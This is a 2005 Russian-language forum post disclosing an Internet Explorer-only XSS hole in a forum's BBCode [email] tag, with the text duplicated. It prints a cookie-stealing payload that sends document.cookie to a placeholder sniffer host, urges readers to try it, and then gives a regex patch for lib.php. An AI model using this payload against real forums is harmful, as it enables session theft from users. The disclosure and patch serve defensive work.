Kihamo
14.04.2005, 01:47
Ахтунг!
Недавно в инете появилась инфа о xss в bbcode url, разрабочтик исправил ошибку, но как оказалось не везде =)
И так поехали. Сразу предупрежу, что данная бага работает только в Internet Explorer :(. Суть состоит в том, что одна из форм записи bbcode email пропускает нужные нам символы, что позволяет выйти за пределы тега. Вот пример XSS
[ email]'style='display:none;background:url(javascript:doc ument.images[2].src="http://you_sniffer_url/sniffer.php?"+document.cookie)[/email]
Думаю, что где и как все это работает объяснять не надо. Так что дерзайте =)
А теперь инфа добропорядочным юзерам. Раз разработчик думать не хочет, бум думать за него =)
Открываем файл lib.php и в примерно в 588 строке находим такой код
$post = preg_replace( "#\[email\](\S+?)\[/email\]#i", "<a href='mailto:\\1'>\\1</a>", $post );
и заменяем его на
$post = preg_replace( "#\[email\]([a-z0-9&\-_.]+?@[\w\-]+\.([\w\-\.]+\.)?[\w]+)\[/email\]#i", "<a href='mailto:\\1'>\\1</a>", $post );
За сим усе.
Недавно в инете появилась инфа о xss в bbcode url, разрабочтик исправил ошибку, но как оказалось не везде =)
И так поехали. Сразу предупрежу, что данная бага работает только в Internet Explorer :(. Суть состоит в том, что одна из форм записи bbcode email пропускает нужные нам символы, что позволяет выйти за пределы тега. Вот пример XSS
[ email]'style='display:none;background:url(javascript:doc ument.images[2].src="http://you_sniffer_url/sniffer.php?"+document.cookie)[/email]
Думаю, что где и как все это работает объяснять не надо. Так что дерзайте =)
А теперь инфа добропорядочным юзерам. Раз разработчик думать не хочет, бум думать за него =)
Открываем файл lib.php и в примерно в 588 строке находим такой код
$post = preg_replace( "#\[email\](\S+?)\[/email\]#i", "<a href='mailto:\\1'>\\1</a>", $post );
и заменяем его на
$post = preg_replace( "#\[email\]([a-z0-9&\-_.]+?@[\w\-]+\.([\w\-\.]+\.)?[\w]+)\[/email\]#i", "<a href='mailto:\\1'>\\1</a>", $post );
За сим усе.